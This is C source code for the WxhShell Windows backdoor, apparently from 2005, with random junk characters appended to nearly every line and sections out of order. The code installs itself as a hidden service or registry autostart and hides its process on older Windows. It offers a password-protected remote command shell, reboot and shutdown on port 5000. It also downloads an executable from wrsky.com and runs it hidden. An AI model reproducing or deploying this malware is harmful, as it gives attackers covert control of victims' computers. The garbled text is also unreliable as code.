} PROCESS_BASIC_INFORMATION; 9 `J `(
s`GSc)AI
PROCNTQSIP NtQueryInformationProcess; * F~"4g
u`K+0^)T`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gwR ^Z{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~D<o}ItRF
K'n^,
t
HANDLE hProcess; {EZ
;
PROCESS_BASIC_INFORMATION pbi; ]@M$.msg@
-4Y}Y59\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wdoA>a?q
if(NULL == hInst ) return 0; CI$F#j
fd*=`+P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -Qqb/y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); op&,&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yIqsZJj
NfS0yQPx
if (!NtQueryInformationProcess) return 0; b
3D:w{l
]#))#-&1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $U"/.Mh\
if(!hProcess) return 0; mMu3B2nke=
KdYT5VUM/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )d0&iE`@
x\;`x$3t
CloseHandle(hProcess); LDr!d1A
RiaO`|1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EmG`ga)s
if(hProcess==NULL) return 0; C[? itk!
@+B
.<@V
HMODULE hMod; [,|KVc=&H
char procName[255]; Rm)vY}v
unsigned long cbNeeded; :#I8Cf
cd*y{Wt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $*8c0.{U
;^O^&<
CloseHandle(hProcess); 09%q/-$
dg/7?gV
if(strstr(procName,"services")) return 1; // 以服务启动 (!DH'2I[
-:cS}I
return 0; // 注册表启动 fC]+C(*d
} 241YJ
hFj.d]S
// 主模块 fZxZ):7i
int StartWxhshell(LPSTR lpCmdLine) u#la+/
{ 9%kY8#%SV
SOCKET wsl; mcS/-DaN?
BOOL val=TRUE; U|-4*l9Ed
int port=0; {eqUEdC
struct sockaddr_in door; = ?vk n
f1hi\p0q
if(wscfg.ws_autoins) Install(); i
LK8Wnrq
l
yO_rZT
port=atoi(lpCmdLine); B2WPjhzD
zZki9P
if(port<=0) port=wscfg.ws_port; hH )jX`Ta
Qf7]t-Kp
WSADATA data; <74q]C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =@gH$Q_1
q,$UKg#i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .'5yFBS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2~ Gcoda
door.sin_family = AF_INET; 8X5;)h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dUOjPq97
door.sin_port = htons(port); Q3wD6!'&m
C<6u}czA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >:Xzv
closesocket(wsl); /M v\~vg$1
return 1; u)R>ozER
} 2frJSV ?
7+#^:;19`
if(listen(wsl,2) == INVALID_SOCKET) { </:f-J%U/
closesocket(wsl); RyIr_:&-~
return 1; PIB|&I|p
} N;Hrc6nin^
Wxhshell(wsl); @ g~kp
WSACleanup(); b(;"p-^
$axaI$bE
return 0; REQ2pfk0
Ml+.\'r
} f==o
[$8*(d"F'
// 以NT服务方式启动 Q:>;d-D|1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zP
rT0
{ `lN1u'(:
DWORD status = 0; 8Tt2T}
Y
DWORD specificError = 0xfffffff; dZ`nv[]k~
UFouIS#L
serviceStatus.dwServiceType = SERVICE_WIN32; pb_mW;JVu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q|=tt(}G
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %zb7M%dC6`
serviceStatus.dwWin32ExitCode = 0; &=X1kQG
serviceStatus.dwServiceSpecificExitCode = 0; QbxjfW"/+
serviceStatus.dwCheckPoint = 0; s3/->1#i
serviceStatus.dwWaitHint = 0; P]]9Sqo7
Qn[4 &nUD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qECc[)B
if (hServiceStatusHandle==0) return; onG,N1`+
(}gF{@sn
status = GetLastError(); dm)V \?b
if (status!=NO_ERROR) a%Mbq;
{ ,Xo9gn
serviceStatus.dwCurrentState = SERVICE_STOPPED; vb{&T<
serviceStatus.dwCheckPoint = 0; PPPRO.y
serviceStatus.dwWaitHint = 0; (<itE3P
serviceStatus.dwWin32ExitCode = status; ]/JE#
serviceStatus.dwServiceSpecificExitCode = specificError; A9p$5jt7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c c
,]
return; :==kC672
} Y]&HU) u
0*B_$E06
serviceStatus.dwCurrentState = SERVICE_RUNNING; e>uV8!u
serviceStatus.dwCheckPoint = 0; rS>njG;R
serviceStatus.dwWaitHint = 0; 84e)huAs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T7Lk4cU
} 9 n|H%AC
W-7yi`5
// 处理NT服务事件,比如:启动、停止 y 9/27yWB
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3ZC to[Y
{ nU[ROy5
switch(fdwControl) azF"tke
{ oopTo51,a
case SERVICE_CONTROL_STOP: $T1
D
?X
serviceStatus.dwWin32ExitCode = 0; $-5iwZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8^c|9ow
serviceStatus.dwCheckPoint = 0; \1aj!)
serviceStatus.dwWaitHint = 0; frc>0\
{ E88_15'3D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e_\4(4x
} 3/}=x<ui
return; GB^Ch YOb
case SERVICE_CONTROL_PAUSE: goIn7ei92
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]*sXISg1
break; sJt&`k Z
case SERVICE_CONTROL_CONTINUE: |Wi$@sWO
serviceStatus.dwCurrentState = SERVICE_RUNNING; S%mN6b~{
break; +]`MdOu
case SERVICE_CONTROL_INTERROGATE: _BHb0zeot
break; 9.#\GI ;
}; ;=F^G?p^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pt";f
} n#,AZ&
Zhz.8W
// 标准应用程序主函数 7! <cU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z-Bw?_e_K
{ [AE]0cO@
L7q%u.nB1
// 获取操作系统版本 6>Lr
OsIsNt=GetOsVer(); c}g^wLa
GetModuleFileName(NULL,ExeFile,MAX_PATH); q,0o:nI
^[\F uSL
// 从命令行安装 /_26D0}UuF
if(strpbrk(lpCmdLine,"iI")) Install(); Eq~&d.j
4K[U*-\"
// 下载执行文件 ,Z&"@g
if(wscfg.ws_downexe) { j=
]WAjT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~?[%uGI0h
WinExec(wscfg.ws_filenam,SW_HIDE); y5|`B(
} WvUe44&^$
NrNbNFfo
if(!OsIsNt) { %$!}MxUM
// 如果时win9x,隐藏进程并且设置为注册表启动 ?G0=\U<
o,
HideProc(); 1UyI.U]
StartWxhshell(lpCmdLine); A;Xn#t ,(K
} p&:RSO
else + :iNoDz
if(StartFromService()) :HMnU37m W
// 以服务方式启动 A5!f#
StartServiceCtrlDispatcher(DispatchTable); /3'-+bp^=
else uDQ
d48>
// 普通方式启动 uJF,:}qA
StartWxhshell(lpCmdLine); HMrS::
_4x X}Z;
return 0; Tx`;y|
} "eZNci
z)]_ (zZ^
+\\,FO_
[=S@lURzm@
=========================================== o-GlBXI;
?P0$n 7,
F2!_Z=
yZUB8erb.
) i.p[
&AZr(>
" <,HdX,5
Ia0.I " ,
#include <stdio.h> FTtYzKX(bv
#include <string.h> iW.8+?Xq&
#include <windows.h> e@NS=U` <
#include <winsock2.h> 6b6}HO
#include <winsvc.h> Q$iv27
#include <urlmon.h> )O#>ONm^
[0Z
r z+q
#pragma comment (lib, "Ws2_32.lib") g=o)=sQd
#pragma comment (lib, "urlmon.lib") R`!x<J
^r}^-
#define MAX_USER 100 // 最大客户端连接数 ~ NKw}6
#define BUF_SOCK 200 // sock buffer 2\CFt;fk
#define KEY_BUFF 255 // 输入 buffer tm#T8iF
$*9h\W-)`Q
#define REBOOT 0 // 重启 1EyM,$On
#define SHUTDOWN 1 // 关机 #- f7hg*
TPvS+_<oL{
#define DEF_PORT 5000 // 监听端口 =HQH;c"
aq oT
#define REG_LEN 16 // 注册表键长度 `5=0f}E
#define SVC_LEN 80 // NT服务名长度 e~i
?E
g5;
W6QX
// 从dll定义API Ex&f}/F
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `k
a!`nfo
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2|qE|3&{'
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y3mATw 3Wh
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =S|SQz5%w
9fzbR~s
// wxhshell配置信息 5d*k[fZ
struct WSCFG { Y \& 4`v'
int ws_port; // 监听端口 Jc-0.^]E}
char ws_passstr[REG_LEN]; // 口令 r2M._}bF
int ws_autoins; // 安装标记, 1=yes 0=no h<$V ry}
char ws_regname[REG_LEN]; // 注册表键名 hGcOk[m 4
char ws_svcname[REG_LEN]; // 服务名 r*p<7
char ws_svcdisp[SVC_LEN]; // 服务显示名 &t+03c8g!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 (SkI9[1\@3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * G.6\
int ws_downexe; // 下载执行标记, 1=yes 0=no g(;t,Vy,I
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zY bSv~)
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (TVzYm
y
D?)"Z$
}; %K\_gR}V
J2v=b?NE
// default Wxhshell configuration ,xn+T)2I
struct WSCFG wscfg={DEF_PORT, iRPt0?$
"xuhuanlingzhe", &b i Bm
1, lJ62[2=V
"Wxhshell", '2WYbcU
"Wxhshell", `N_N zH
"WxhShell Service", U*(m'Ea
"Wrsky Windows CmdShell Service", u f.Zg;Vc
"Please Input Your Password: ", %$~?DDNM
1, 1YTnOiYS1
"http://www.wrsky.com/wxhshell.exe", ]O,!B''8k
"Wxhshell.exe" zX"@QB3E
}; DHaSBk
HZ>Xm6DnC5
// 消息定义模块 +s
V$s]U
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R1!{,*Gy
char *msg_ws_prompt="\n\r? for help\n\r#>"; V=H87^b
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sc@v\J;k
char *msg_ws_ext="\n\rExit."; s~6?p%
2]
char *msg_ws_end="\n\rQuit."; Hd
U1gV>
char *msg_ws_boot="\n\rReboot..."; <ij;^ygYD
char *msg_ws_poff="\n\rShutdown..."; INyreoMp
char *msg_ws_down="\n\rSave to "; sG%Q?&-
QukLsl]U
char *msg_ws_err="\n\rErr!"; Ki,]*-XO
char *msg_ws_ok="\n\rOK!"; lo,?mj%M
Q6`oo/
char ExeFile[MAX_PATH]; ^;Nu\c
int nUser = 0; QNLkj`PL/
HANDLE handles[MAX_USER]; |0vY'A)]
int OsIsNt; 2w $o;zz1
S=U*is
SERVICE_STATUS serviceStatus; jI_TN5
SERVICE_STATUS_HANDLE hServiceStatusHandle; d?$FAy'o5
zRx-xWo
// 函数声明 [@eNb^R
int Install(void); 8*V3g_z
int Uninstall(void); LR@rn2Z
int DownloadFile(char *sURL, SOCKET wsh); -|~6Zf"
int Boot(int flag); DDw H9*
void HideProc(void); nBgksB*A
int GetOsVer(void); ?}D@{%O3T
int Wxhshell(SOCKET wsl); )Jz L
void TalkWithClient(void *cs); f[6;)ZA
int CmdShell(SOCKET sock); 5 UpN/\He
int StartFromService(void); 7i`@`0
int StartWxhshell(LPSTR lpCmdLine); HC@E&t